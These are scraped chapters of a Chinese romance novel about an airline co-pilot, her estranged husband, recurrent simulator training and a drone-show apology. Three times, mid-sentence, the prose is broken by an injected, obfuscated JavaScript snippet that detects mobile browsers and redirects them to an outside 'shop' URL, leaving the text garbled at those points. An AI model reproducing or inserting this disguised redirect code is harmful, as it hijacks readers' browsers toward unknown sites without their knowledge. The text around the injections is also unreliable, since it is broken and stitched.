“其实我中途离场是因为在和谢持赌气,没想到我一个人任性的结果就是捅出这么大的篓子,”黎念声音颤抖着,“要是我们当时在场,把二叔拦住,是不是就不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942501|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这样的结果了……” 周珮文盯着她说话时,一直紧蹙着眉头,直到她话音落下才长长叹息了一声,神色重归平淡。 自始至终她都没有怪罪过任何人。 她拍了拍黎念的手背,语重心长:“傻孩子,这和你又有什么关系,别总把坏事想成是自己造成的。” “可我还是会感到抱歉,没能帮上你们的忙,”黎念勉强挤出一丝笑容,“马上就是定期复训了,这段时间也不常在家里。” 周珮文态度坚决地摇头:“这里有爸妈在,你尽管放手去做自己喜欢的。妈不需要你能给‘赫尔墨斯’带来什么,只想看着你和小持两个人好好的,那便足够了。 “这也是我唯一的请求,他真的很需要你。” - 凌晨两点,伤者终于脱离生命危险,恢复意识,躺在病床上被推出来。 面对办案民警的询问,他一口咬定谢思邑是有预谋的故意伤害。 早在赫尔墨斯影业成立初期,他们就因为投资项目意见不合而发生过多次争执。谢思邑积怨已久,才在酒席上实施了报复。 而谢思邑在讯问中坚称自己是被对方故意挑衅,才一时冲动伤人。 双方各执一词,警方难以下定判断。查看酒店监控录像又发现,的确是谢思邑首先动的手。 最后,谢思邑被连夜押往看守所,继续接受公安机关调查。郝芝宜在铁门外哭哭啼啼赖着不肯走,被警卫劝退了好几次,气急败坏之下揪住律师的衣领问为什么不能先把人放出来。 就这样一直折腾到了天蒙蒙亮,大家都疲乏到无以复加,才脚步虚浮地渐渐散去。 到停车场,黎念要去后面拿行李,被谢持拦住。 “你还是要去基地住吗?” “打开。”黎念不动声色拂开他,指着后备箱,冷声道。 谢持近乎哀求:“能不能先上车再说?” 旁边还停着周珮文和其他人的车。 他们要是在这个节骨眼上闹分家,不知道会被亲戚朋友们怎样看待。 黎念拗不过他。 只是又坐回了后排,像起初那样刻意保持着距离感。 两人从后视镜里对望。 “念念……”谢持的嘴唇微微翕动。 黎念直接打断他:“这段时间里我们还是有必要给彼此留点空间,好好冷静一下。” 谢持眼底闪过一丝悲怆,嘴角扯着苦涩的弧度:“我很冷静,我知道自己想要什么。” 他想要,应该说是奢求的,从来都只是她的垂怜。 “可你连伴侣之间最基本的坦诚都没有做到。”黎念不依不饶道。 “我说过我都能解释,可你偏就不听,”谢持的声音里平添许多愠恼,“你给过我机会吗?” 他鲜少用过激的语气和她讲话。 意识到自己情绪在剧烈波动,他懊恼地抿着嘴唇,手指紧攥着方向盘,发动了汽车。 黎念无语凝噎,心灰意冷地阖上眼,斜靠在角落里。头埋进宽大的卫衣衣领里,抽绳将兜帽收紧,遮住晦暗不明的神情。 “对不起。” 他的声音从前方传来。 “我会等你。复训一定要顺顺利利的。” 41. 卡俄斯 Im 黎念自从搬回基地宿舍之后,时常会有种恍若隔世的感觉。就好像生活短暂驶离既定路线,又重新无缝衔接回到正轨,平淡到几乎乏味。 近几个月和谢持有关的记忆都只不过是泡沫般虚妄的臆想。 一切又变得按部就班起来。 她每周照常打卡上班,闲暇时窝在宿舍里看手册模拟各种情景飞行。偶尔碰上晋姝意和程澈有空,便聚到楼下餐吧里互相倒苦水聊八卦,话题永远都绕不开工作。 至于晋姝意最关心的私人问题,黎念总是缄口不言。要么故意打岔换话题,要么直接装死。 这么多天她几乎未曾与谢持讲过半句话。 如果不是周珮文隔三差五打来的电话,关心她一个人在大兴的生活状况,顺带给她转播谢思邑案件的办理进度,她险些都快忘记那些惊心动魄的瞬间,还有痛苦时无法呼吸的感觉。 有时黎念听着左座上的机长给妻子发语音报备说“推出了”,自己心中也会生出想要给谁发消息汇报一声的冲动。 但她从上头到恢复理智只需要一瞬间。 分享欲在她看到空空如也的聊天界面时就会立刻崩解掉。 谢持说不会打扰她,果然做得滴水不漏,就连一次情不自禁都没有过。 所以她选择回报以对等的沉默。 一个月很快就过去。京城终究抵不过寒潮的几番侵袭,放眼望去满地金黄。来往行人纷纷把压箱底的冬装重新翻出来。 可惜基地离人气旺的地方实在太远,一年到头都冷冷清清,看不到人影。黎念似乎只有在半空中才更能清晰地体察到季节的变换。 大地的色彩随着飞机一次次升空逐渐消褪黯淡,转眼就来到了复训的既定日期。 黎念难得以乘客的身份来到白云机场。 时值十一月初,节气刚好走到立冬。但对于矗立在北回归线之上的羊城来说,现在根本算不上冬天,甚至偶尔还会热到需要开空调。 海云飞行训练中心里,冷气更是全年无休。全动模拟机和与之相连接的庞大电脑主机需要充分散热,凉爽的环境更能保证机器安全运作。 黎念这次在羊城飞培基地有两场模拟机的考试,每场考试都要分别作为PF(操纵飞行员)和PM(监控飞行员)受训两小时。 好消息是,按照计划,考官是她的亲亲师父方荣华,在一众教练员里算是脾气最好、说话最文明、打分最客观的,还会亲自手把手带飞。 故而朋友圈里经常会出现方荣华在海云官网上公布出来的证件照,并附上情真意切的文字来祈求祷告—— 很多在羊城参加复训的年轻飞行员都想被分配给这位“天使”教练员。 至于坏消息,黎念自己还是副驾驶,却要带着飞行时长尚未破千的程澈一起接受考核。 雪上加霜的是,两次模拟机考试时间还都排到了半夜,这正是教练员最劳累暴躁且学员最容易走神失误的糟糕时刻。 虽然黎念之前和程澈搭过几次班,但是同组机长从来没让他飞过起落。 她对这位菜鸟搭档的实力深浅完全没有概念,只好在酒店里时时刻刻拉着他核对考试科目。 “到时候真的会出这么变态的题目吗?低空风切变,单发停车,双液压系统失效,乘客还要得个心脏病。就算是哪吒有三头六臂也不一定忙得过来啊。”程澈端着餐盘坐在了黎念的对面,不服气地嚷嚷道。 他方才和黎念模拟chairfly时被她虐得体无完肤。 还没被检察员劈头盖脸一顿臭骂,倒先挨上师姐的训斥了。 然而此时此刻,黎念对程澈的造访熟视无睹。 这让他感到十分挫败。 “姐,你歇会儿吧,真别让自己累着。我感觉你快把所有记忆项目都一字不落地背下来了。” 见她手边没有饮料,他又把自己的冰可乐推过去。 黎念心不在焉“哦”了一声,黏在iPad屏幕上的视线未曾挪开半分。她叉起一块西兰花想要往嘴里送,却不小心把油汁蹭到了脸颊上。 没有对准位置。 心思完全不在吃饭上面。 “发动机遇到鸟击应该做什么检查单?”黎念冷不丁问道。 “要分情况讨论,看是停车、火警、超限,还是别的。”程澈不假思索回答。 其实他深谙笨鸟先飞的道理,这一个月有在好好恶补理论知识,也发现自己的确遗忘得太快。 他紧盯着她学得入迷的模样,无奈长叹一口气,然后抽出垫在刀叉下面的餐巾纸递到她面前,嗓音有些嘶哑:“擦一擦吧,你的脸弄脏了。” “谢谢啊。”黎念冲着手伸过来的方向扬了扬下巴,但并未接过程澈的好意,显然没把他的话听进去。 她仍旧目不斜视,眉间的川字纹皱得很用力,嘴唇轻微翕动着,像是在念念有词。 简直到了走火入魔的地步。 程澈举起手便再未放下,而是更进一步,擅作主张替她拭去脸上的痕迹。 纸巾质感粗砺,他动作竭力轻柔,但这在外人看来过分亲密的举动已然越界,也彻底召回了她的注意力。 “你——”黎念蓦地一惊,整个上半身不由自主向后仰,紧急避开和他的肢体接触。 等到她恍然意识到对方并无冒犯之心,连忙把还没来得及说出口的责备吞进肚里。 “对不起,我一想到晚上要飞动模就忍不住紧张。明明已经是F4副驾驶了还这样,你可别笑话我啊。” 程澈微笑着摇头,将餐巾纸揉成皱巴巴的一小团攥在手心里。视线低垂,落在前方的宝蓝色桌布上。 它不知何时被烟头烫出一块小洞,竟然还没有被工作人员替换掉。 这让他不禁联想到外界关于海云经营管理不善的传闻。 “姐,海云7897那么严峻的挑战你都扛过来了,小小模拟机考试不应该更是易如反掌吗?”他试图让自己听起来很幽默。 黎念的神情里,凄厉讽意一闪而过:“其实我不太希望别人再提起那件不愉快的事,都已经是过去式了。” 程澈顿时变得有些激动:“就因为停飞?可那根本就不是你的错,对方是个精神病人,局方的处理方式也有问题……” “程儿!”黎念喝止道,眼角眉梢隐隐掺杂着愠怒。 短时间的情绪波动让她顿感胃口全无。她干脆放下刀叉,结束用餐。铁器和瓷盘激烈碰撞的声音足以刺透耳膜。 场面一度肃杀到冰点。 程澈松开手里的纸团,把头埋得很低,不再和她直接对视。 黎念迅速整理好情绪,语气尽量平缓温和,推心置腹道:“或许人们都认为那场迫降成就了我,但事实并非如此,它到现在还是会时不时地困扰我。 “出发之前赵斌跟我开玩笑说,‘八月底才在真机上面复训过一次,这次可以不用来了。’当时我听着心里很不是滋味,这分明就是在美化灾难,更把常规工作当作了儿戏。 “等你真的经历了那种程度的特情,还要不断被各种外界的声音质疑,可能才会明白我为什么迫切需要证明自己。” 她把平板电脑的保护壳合上,闭眼揉了揉睛明穴。整天都在看手册,神经时刻紧绷着,简直从身体累到了心底。 “‘像训练一样飞行,像飞行一样训练’,这句标语挂在模拟机大厅的门口好多年了。可直到这次来羊城,我才更加深刻地理解个中含义。 “每次路过它,我都会在心里再敲一遍警钟。我们不能把复训和真机看得太过于泾渭分明,否则飞再多动模都相当于在电玩城打游戏,没有任何价值。 “当然,我还是希望复训里的内容永远不要真实发生在任何一个飞行员身上,因为代价实在是太沉痛了。” 程澈闻言有些动容,重新抬起头看向她:“对不起,是我浅薄了,总把复训当学校里的期末考试应付,从没往深处仔细想过。” 黎念被他诚恳严肃的模样逗乐了,难得卸下防备绽开笑颜:“这有什么好道歉的,你现在不就是清澈愚蠢的大学生嘛。多飞上几年肯定也会跟我一样有相同感触的,慢慢来呗。” “你可以不用把我当小孩的。”程澈低低道。 他有些时日没去剪头发,碎刘海垂落到眉间平添一丝颓废感。 “嗯?”黎念不明所以。 心里有种不可言状的预感却在慢慢酝酿。 他该不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144984|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是…… 程澈的耳廓红到几近透明,面上的羞赧更是一览无余:“其实我从刚进公司的时候就——” 黎念瞪大眼睛,及时打断道:“有什么等到熟练检查通过之后再说吧,小程。”话罢,她将用过的餐具收归到一块,站起身准备撤离。 程澈敏锐察觉到了称呼的变化,勾起唇角自嘲苦笑,又不依不饶地叫住她:“到时你还愿意听我讲吗?” 黎念脚步一顿,微微侧过头:“回去好好休息,晚上别打盹儿了。” 她原本以为适当隐瞒真相可以减少不必要的麻烦,未曾想自己还是低估了情感冲动上头的可怕程度。 可惜现在还没到做了结的时候。 - 方荣华并没有因为黎念是她的徒弟而降低测试难度,反倒如黎念所料那般,在已经证实电子设备舱出现持续烟雾之后,她还要故意假扮乘务员呼叫,说机上有一名哮喘病人情况不容乐观,需要及时就医。 两个飞行员一边按照流程执行ECAM动作、设置应急电气构型,一边还得联系地面备降,实在忙得晕头转向。 好在考到的内容全部被他们提前复习过,每场考试都进行得格外顺畅,从华南局过来的检查员还专门夸了黎念一句“可以担任机长职责”,着实把她感动得涕泗横流。 即将离开羊城的前一晚,方荣华把黎念单独叫到酒店大堂。 “公司选拔新一批机长的文件马上就要下发到各个中队,我看你小时和起落数量都已经攒够了,到时候不要忘记报名。” 黎念难掩欣喜,满口答应:“好的师父。”说着,又拉住方荣华的手臂晃来晃去。 “瞧你没出息那样,”方荣华睨她一眼,但还是任由着她瞎折腾一番,“说好的‘喜怒不形于色’呢?” 黎念不情愿地撒开手。 “我是怕你待会儿看到更好的消息高兴过了头,”方荣华笑吟吟添道,“考试结果可以在运行网上面查到了。” 黎念心里一颤,连忙摸出手机查看。 通常情况下,得到“技能水平适当高于最低标准”的评价就算通关,但是这次的检查员难得给她打出了“明显高于”的完美分数。 黎念如蒙大赦,长长松了一口气,浑身上下的感官都要清明许多。 皇天不负有心人。 一个月的准备总算没有白费,心中的石头直到现在才算彻底落下。 她连忙美滋滋地把考试信息截图打好码之后发到了朋友圈里。 AAA三轮黎师傅:【半年饭票到手[得意]“明显”两个字的含金量有人懂吗?】 方荣华见她满面春风的模样,忍不住感叹一声“果然还是太年轻”,却也打心眼里替她高兴。 “走,请你吃粤菜去?我觉得羊城海云酒店的味道甚至还比不上京城基地的新食堂,咱们去外边儿找点新鲜的口味。” “师父我太爱你了!” 黎念紧紧跟着方荣华,连蹦带跳地走出酒店大门,在等待网约车时还不忘翻看朋友圈的新消息。出人意料,最快点赞的人竟然是沉寂长达一个月之久的谢持。 她给谢持私信了个问号过去。 对方秒回:【祝贺你。】 这个反应并没有让黎念如愿以偿。 她没好气问道:【这么多天你想说的只有这句话?】 谢持那边陷入了沉默,就连“对方正在输入”的字样在几秒后也迅速消失不见。 黎念难掩失落,把手机放回外套口袋里。 正当来接她们的车停靠在酒店门前时,他的电话又拨了过来。 “你还在海云酒店吗?” “嗯。不过马上还得出去一趟。” “那正好,你现在可以抬头,看羊城电视塔那个方向。” 黎念不知道他在装什么神秘,但还是半信半疑照着他说的,目光越过珠江,朝对岸眺望过去。 夜晚比羊城塔灯光还要绚烂的,是一旁缓慢升腾起来的点点星光。 无数架无人机排列好队形悬停在半空,以整片黑夜为幕布,拼成了巨大的英文词组。 ——I''msorry. “念念,这才是我想说的。” 42. 卡俄斯 “你现在愿意听我慢慢解释吗?”谢持在电话那头轻声问道。 黎念还没有从剧烈的震惊中走出来,脑海里像是有烟花在百尺高空爆炸绽开,五彩流焰满满占据了整片视野,一切是那般炫目。 她在网上看到过好几次用无人机告白求婚的视频,但从来没有幻想过这种声势浩大的场面会降临到自己头上。 而幕后之人只是为了和她说句“对不起”。 动机单纯到让人喉头一哽。 怎么有人这么傻。 蓝色星辰组成的硕大图案从骤然出现那一刻起便再也没有变换过,仿佛把事主焦急的心绪写满了天空,不得到想要的答案誓不罢休。 酒店的门前不知何时围满了驻足观看的人。这里地处江心岛屿中部,正是欣赏羊城塔与珠江相映成趣之胜景的绝佳地点。 靠在江边的围栏边,无人机近在咫尺,好似伸手就能撷取到。 热烈的议论声灌入黎念耳中。 “搞这么大阵仗,还以为有什么重要活动,怎么等了半天都是‘骚奥瑞’这一句话啊?” “唔知道系边个少爷惹咗老婆仔嬲。” “果然我是来这个世界当NPC的,真可恶……” 黎念脸上红一阵白一阵,举着手机一字一顿骂道:“谢持,你好浪费。” “你会不会觉得我像个烽火戏诸侯的周幽王,”谢持笑着反问,“虽然浪费资源是很可耻,但我现在好像有点能理解那种不惜付出一切代价的心情。” 黎念满脸嫌弃:“奇怪,我以前怎么没发现你和昏君的三观一样烂到爆?更讨厌你了。” 谢持为他的引喻失义深感抱歉,笑意从听筒隐隐传来:“念念,到底要怎样才能给我机会。” “除非你立刻出现在我眼前,跟我当面解释清楚,”黎念故意强人所难,语调上扬,听起来非常傲娇,“我可是很善变的,没那么多耐心等你墨迹,说不定明天就改变主意,再也不想理你了。” “真的吗?”谢持呼吸微滞,“copythat,captain.” 黎念轻飘飘哼了一声,转眼意识到了哪里不对劲。他能答应得这么干脆利落,莫非早就做好了万全的准备,循循善诱,引她入彀。 “等等,你不会真的来羊城了吧……”黎念声音在颤抖,“我刚刚说的还能撤回吗?” 她仰头四处张望。 涌入岛屿打卡无人机表演的吃瓜群众越来越多,几乎把河岸围栏堵了个水泄不通。黑影绵延起伏,攒动不止,目光流淌之处却没看到熟悉的轮廓。 黎念不知怎的就泄了劲。 她发现再怎么给自己留足空间冷静思考都无济于事,情况只会变得越来越糟糕。 现下只要他稍稍主动上前一步,她就情难自禁想要弥合剩下的距离,直到再次见到他、触摸到他。 她有点变得不再像是自己。 “已经晚了,你不能再撤回。”谢持淡淡道。 黎念哑口无言,旋即听到一阵忙音。 谢持竟然没等自己回答就先把电话挂断。 这是道歉的态度吗!她抓狂地想,干脆永远都别原谅他好了。 - 方荣华早就坐进了汽车后排。车门大肆敞开,原本应当随后上来的人却迟迟未动,还停留在原地不知道和谁讲着电话,表情丰富到夸张。 她示意司机原地不动,摇下车窗,顺着黎念的视线方向望去。 江水涟涟,倒映满池破碎的光斑。 无人机灯光飞速闪烁片刻,阵型终于发生变化。盛大的银白流星雨纷纷扬扬坠落天际。围观人群中骤然爆发出热烈的欢呼。 再结合黎念脸上变幻莫测的精彩表情,方荣华隐约猜到了几分真相。 某个小女孩刚才还缠着她的胳膊说最爱她,现在又把她一个人晾在车上不管不顾。 定是在和那传说中的隐婚丈夫周旋。 怪不得方荣华最近在基地碰到黎念时,总感觉她有些魂不守舍—— 夫妻俩闹矛盾了,看起来挺严重。 还好没影响到黎念复训。还好是男方先服的软,不远千里专程追到羊城来道歉。 方荣华挺欣赏他这股韧劲,又不禁哀怨地叹气。 今天这顿饭恐怕只能自己单独吃了。 “师傅,您先把表打上,我再等会儿。”方荣华对前排嘱咐道。 正巧,从停在前方的出租车里走下来一个西装革履的年轻男人。身躯高峻挺拔,迅速攫取住她的注意力。 这些年,公司明目张胆追求黎念的后生就从未消停过。但做师父的总嫌他们长得歪瓜裂枣,性格也不够稳重包容,认为谁都配不上自己的爱徒,故而暗中帮忙铲除掉了许多烂桃花。 反观眼前这位路人的外形倒有几分水准,女婿就应该像他一样,盘正条顺气质佳。 方荣华如是遐想着,然后眼睁睁目视他迈开长腿径直走到黎念的背后,化身一道阴翳将对方彻底笼罩。 ……也行吧。 她看人的眼光未免太独到。 - “其实我一直都在,从你飞往羊城那天开始就是了。” 谢持现身太突然,着实把黎念吓得不轻。 她被圈在坚实有力的怀抱里,感觉自己快变成一枚烤熟的橘子,连夜晚的风也愈加潮热。 “跟踪我。”黎念背对着他,注视着他亲手挥洒出来的漫天流星,大脑有些缺氧。 “嗯,”谢持供认不讳,“略施小计就查到了你的航班号。” “变态啊你!”黎念气恼地挣扎两下,手攥成拳头却完全挥不出去。她被箍得实在太紧,紧到快被揉碎,被融化。 一个月不见,他好像又偷偷加训练量了。 “对不起,今天好像说了太多次‘对不起’,”谢持用脸颊抵在她毛茸茸的发顶上,眷恋地蹭了蹭,山茶花的淡雅清香萦满鼻息,“一想到我等了这么多天,马上就要被宣判,实在等不及要来面见我的法官。” “好烂的比喻,肉麻死了……” 黎念明明体感温暖舒适,却被他的话激起了一身的鸡皮疙瘩。 “所以你喜欢听什么?”谢持凑到她耳旁低低问道。 黎念从耳根到面庞都红得很彻底,不安分地缩起脖子:“我希望你闭嘴!” 至少,不要在大庭广众之下,挑战她的忍耐极限。 她突然又像是想到了什么,急忙拍了拍他的小臂,严肃命令:“你先松开一下,我师父还在旁边等着呢。” 谢持听话照做,双手交叠握住放在小腹前面,冲着她微微歪头,示意她先去和尊者打照面。 都是好学生的本能反应。 黎念满脸愧意伏到车窗前,双手合十眼含泪光,正准备赔礼道歉,却被方荣华用一指禅推开。 “去吧,陪你老公更重要。”方荣华故作冷酷说道,对着谢持的方向努努嘴。 黎念原地石化,强行酝酿出来的眼泪迅速风干。 她的师父还真是大义凛然。 “当初看到你的档案我就做了背调,他叫谢持是吧?很优秀的小伙子。”方荣华一把掐住黎念的脸,说完又轻拍几下,跟拿捏面团似的。 “下次记得找个机会把他正式介绍给我们这些老领导啊。” 黎念顿感语言的 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闯进家里的不速之客,那是初次见面。 第二次是在大兴机场,黎念出发前去复训。 即便两舱贵宾有着专属的休息室,但这并不妨碍他候机时到大厅里闲庭信步,顺带暗中关注黎念在做什么。 而这个小男孩的存在过于扎眼。 根本不懂何为距离,何为分寸。 所以,事不过三,视线再度交汇碰撞的刹那,硝烟弥漫在狭窄空间里。 谢持轻轻笑了。 他觉得自己不需要在外人面前刻意去揽黎念的腰,或者濡湿她的唇。类似肉食动物宣示领地主权的做法实在算不得体面,他向来嗤之以鼻。 肩膀上沉甸甸的托特包是她的,手握住的行李箱也是她的。 而她是他的。 只消无视掉对手,昂头平视前方,上位者的骄傲已然隐晦而汹涌。 裁判高举他的手臂宣告比赛结束,才是他最凶残的回击。 “是的……我丈夫专门过来了一趟。”黎念礼貌笑道。 她发现有些话并没有想象中晦涩拗口,说出来反而会让自己如释重负。 程澈勾住塑料打包袋的指节用力到泛出骨白。他怕稍不留神就会松开,洒落一地秽物。 就如同他那竭力隐藏、难以启齿的心思。 当初他极力说服自己直视这份畸形感情,哪怕她已经有了男朋友也没关系。守株待兔的故事听几百遍都不会腻,他甘之如饴。 可他分明连一个回合都没有直接交手过,却落得一败涂地。 “原来是这样。”程澈声音越来越低,头颅亦然。 她的丈夫,他很不情愿这样称呼,与他擦身而过。 低垂的视线正好落在那人手腕间一闪而过的宝石袖扣上,精致考究到超出现有认知,漫不经心送来降维打击,刺痛他的双眼。 原来要这种程度的成熟男人才有资格与她比肩。 渺远到像是来自另一个世界。 程澈从未感到自己竟然如此卑微渺小,不仅仅是两人体格上的差距。其实他一贯引以为傲的身长已经处于民航招飞标准的顶端,周围没有比他再高的飞行员了。 “姐,我好累,先回去休息了。”程澈笑得勉强,没等对方开口,先发制人按下电梯关门键,格外用力。 “晚安。” 黎念看着轿厢内的光线渐渐昏暗,阴翳覆上他的面孔。最后留给她的,是血色尽失的嘴唇,还有唇角一抹惨淡的笑容。 43. 卡俄斯 黎念机械地转过身来,正巧撞进谢持意味深长的眼神中。 “念念,你也有秘密了。” 似乎没打算等到她琢磨出来狡辩的措辞,他不由分说锁住她那莹白纤细的手腕,带着难以抗拒的威严,将她快步带出人声鼎沸的酒店大堂。 “是不是‘秘密’你都看得一清二楚,我没必要再自证清白。”黎念心中升起无名火,反唇相讥道。 一股力量拉扯之下,前行的速度陡然加快,她跟在身后踉跄了几步。 她后知后觉发现行李早已不翼而飞,顾不上旁人惊诧的眼光,放开音量:“谢持!我的东西都被你弄丢了你还要欺负我!有你这么混蛋的人吗!” 就这样肆无忌惮喊叫着,直到被拽上汽车后座以后,在没有旁人打扰的密闭空间里,余下的怒斥都被温软的唇瓣严丝合缝地封缄。 他只是蜻蜓点水般的轻啄一下,然后无甚留恋地撤离。灼热呼吸仍在彼此引力范围内纠缠不清,脸颊发烫。 眼底翻涌的情绪近在咫尺。 黎念大脑短暂地发懵了一下,很快恢复镇定,双手抵在他肩膀上,毫不费力将他一把推开:“这就是你的诚意?” 他精心准备的,异彩纷呈、琳琅满目的糖衣炮弹。 “不……请原谅我的粗暴,”谢持眼疾手快地捉住她的手,偏过头去,细密的吻落在她手背上,然后低声呢喃道,“我刚刚好像有些丧失理智,一直数着你在他身上浪费了多少时间。” 黎念喉头微哽,有些好笑道:“小孩的醋也要吃。” 谢持承认:“他很年轻,也有几分色相,我难得会有危机感。” 当然说的不是方才那个被工作折磨到不成人形的困倦模样。 而是发生在更久远的以前,散发着干净透亮气息的男孩坐在她的身旁,笑得恣意洒脱。 他最羡慕的,没有被玷污过的,纯粹的少年意气。 “现在回想起来,我甚至发现自己的敌意可以追溯到一个月以前,他没有经过我的允许却涉足了我们的共有领域。” 在后备箱放行李的司机不知道什么时候回到了驾驶座上。随着汽车启动,夜风徐来,黎念声音变得飘渺。 “这不像你。” 他那么骄傲,从未在神志清醒的时候轻易向人示弱。她为数不多几次倾听他的心声,都多亏了酒精在其中发挥巨大作用。 “我一直都是这样,只不过努力在伪装,你还没有发现吗?”谢持笑意隐隐,“现在我把我的卑微、自私、敏感、孤僻,还有不太稳定的情绪都摊开给你看。” 如今在旁观者眼中,谢持的家世、才学、品性甚至外貌无一短板,完美到近乎成神。 可鲜少有人知晓,正是这样表面无懈可击的天之骄子,灵魂深处蛰伏着脆弱到不堪回首的过往,时而令他痛到麻痹。 前半生在黑暗中踉踉跄跄地前进,她是黎明,是拼好完整的他的最后一块拼图。 所以在她的面前,谢持决意不再保留。 - 到了酒店餐厅,主厨笑容可掬亲自迎接,将二人引入临街的卡座。桌上玄色花瓶插满了白杜果和蝴蝶兰,窗外忽明忽暗的汽车尾灯连同高楼灯火攒成绚丽的海洋。 随后服务生鱼贯而至,呈上令人眼花缭乱的菜肴。黎念对照着菜单一道一道地辨认,肉眼皇、烧乳鸽、溏心鲍、龙趸鱼……满桌珍馐,菜式闻所未闻,造型别致出奇。 “今天能喝酒吗?”谢持眼疾手快拦下服务生倒酒的动作,询问她。 黎念微微颔首,凝视着浓稠的琥珀色LOUISXIII晃荡进干邑杯中。 他能给的一切,的确都是最拿得出手的。 简单碰杯之后,黎念先发制人,直入正题。“谢持,你好狡猾,”她放下酒盏,眼皮一掀,“用无人机表演这种方式道歉,谁都很难以抗拒吧。” “因为我害怕你还是闹别扭不愿意见我,”谢持把覆盖在蒸蟹肉饼上的壳揭开,挖了勺鲜香的蟹肉泥替她添进碗里,一举一动尽显从容,“所以稍微走了一下极端。” 他语气轻松愉快,心境如过万重山。 除非她躲在酒店里把自己捂进被子里假装看不见。除非她断掉网络,刻意回避漫天飞扬的视频和新闻通稿。 这场盛大的计谋很难不会得逞。 当然他没想过她抗拒逃脱的可能性。 也绝不允许。 “内心阴暗。”黎念嘴角牵动,轻斥了一声。 “嗯,证实阴暗,”谢持毫不犹豫地自认,用她的行话调笑道,“不过这也是韩凌霄的点子。” 黎念不解地看他。 “国内无人机品牌除了x疆,你还能想到什么?” 黎念稍加思索:“那个猫头鹰……?” 她上大学的时候,曾有一个用呆萌猫头鹰做logo的新锐品牌横空出世,把航拍娱乐的性能做到了极致,并以绝对的价格优势迅速席卷国内民用无人机市场。 后来这个品牌不知为何淡出了大众的视野,有些令人惋惜。 “叫‘鸱鸮’,的确是猫头鹰的意思。”谢持无奈摇头。 “可这和小韩总有什么关系?你说他以前做过无人机,不会就是这个品牌吧?”黎念目瞪口呆。 谢持攥紧酒杯,戴在右手无名指用作装饰的戒指在灯光反射下熠熠生辉。 他有些答非所问:“猫头鹰的视力特别出色,脖子也很灵活,可以帮助它全面地观察周围环境。说来也是巧,当初为品牌命名的时候,根本没考虑这么多寓意……” 黎念听得愈发云里雾里,某种猜测涌进脑海便一发不可收拾。 “所以你想说,韩凌霄和你都是‘鸱鸮’的创始人。” 谢持满意喟叹:“没错。” “持?霄?好随意的取名方式,真能偷懒的,”黎念敏锐察觉到了盲点,忍不住吐槽,“你俩当初不会是报名了大学生创业创新项目,然后一不小心就做大做强了吧。” 聪明的头脑有时比肤浅直白的视觉刺激更能戳中谢持的兴奋神经。譬如现在,她明明没有化妆,穿着也一如既往地简朴日常,可他对这种精神上同频共振、畅快淋漓的感觉简直迷恋到不行。 “准确来说,核心技术还是由韩凌霄在负责。我只是出了一点小钱,当了几年甩手掌柜,算是他的……天使投资人? “后来韩凌霄改行去做新能源汽车,实在分身乏术。我也无心插手‘鸱鸮’的经营管理。这家公司换由别人掌舵就逐渐衰落了,现在业务变动,用滞销的无人机没事接点灯光表演,倒也能勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188067|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强维持现状。 “当然我没有滥用股东权利随便把机队偷出来玩啊,今天晚上的表演可是正儿八经付过报酬的。” 黎念眉眼间难掩失落:“就这样放弃掉事业,不会觉得可惜吗?” 谢持沉吟半晌,耐心和她解释:“没办法,这也是竞争的残酷所在。对手起步时间早,技术更加成熟,市场认可度也一骑绝尘。‘鸱鸮’纵然昙花一现,但于我们这些普通学生而言,要挑战强大的行业龙头,终究只是蚍蜉撼大树罢了。” 他联想到当下的境况,不禁感慨万千。从第一架国产大飞机总装下线,到未来实现大规模量产,一代代航空人前仆后继,为之付出不知多少心血。然而如今的万米高空仍被两家寡头垄断势力瓜分,在云谲波诡的国际形势中尝试破局的梦想仍然道阻且跻。 这条道路是他自始至终坚定选择的,哪怕隐姓埋名,零落成泥。一个人的力量或许微薄到可以忽略不计,但如果是千千万万人呢?不破楼兰终不还。 黎念没再多问,换了话题:“再说说你和乔清露是怎么回事。虽然很不想承认,你的猫头鹰策略确实把我哄得很开心。” 谢持低低笑道:“荣幸之至。” 主菜剩得不多,被服务生尽数撤走。餐后甜点隆重登场,散发甜腻的芳香。黎念夹起一块裹满细砂糖的金黄色糖莎翁送入口中,蛋奶香在唇齿间迸开,余韵绵长。 “乔清露和我出车祸,是在奔丧的路上。”谢持终于把久久憋在心里的话一吐为快。 这段开场白,他反复斟酌修改过无数次,怕有任何歧义引她误会。 黎念的反应也在他预想之中。 “天啊——”她大惊失色,“是谁去世了?” “乔清露的爷爷,也是我最敬重的老前辈,乔大山先生。” 黎念对这个响亮的名字并不陌生。 乔大山,新中国第一代航空发动机专家,母校无人不晓、德高望重的终身教授。 他是功勋,是典范,是高山景行,是远在天边的传奇人物。 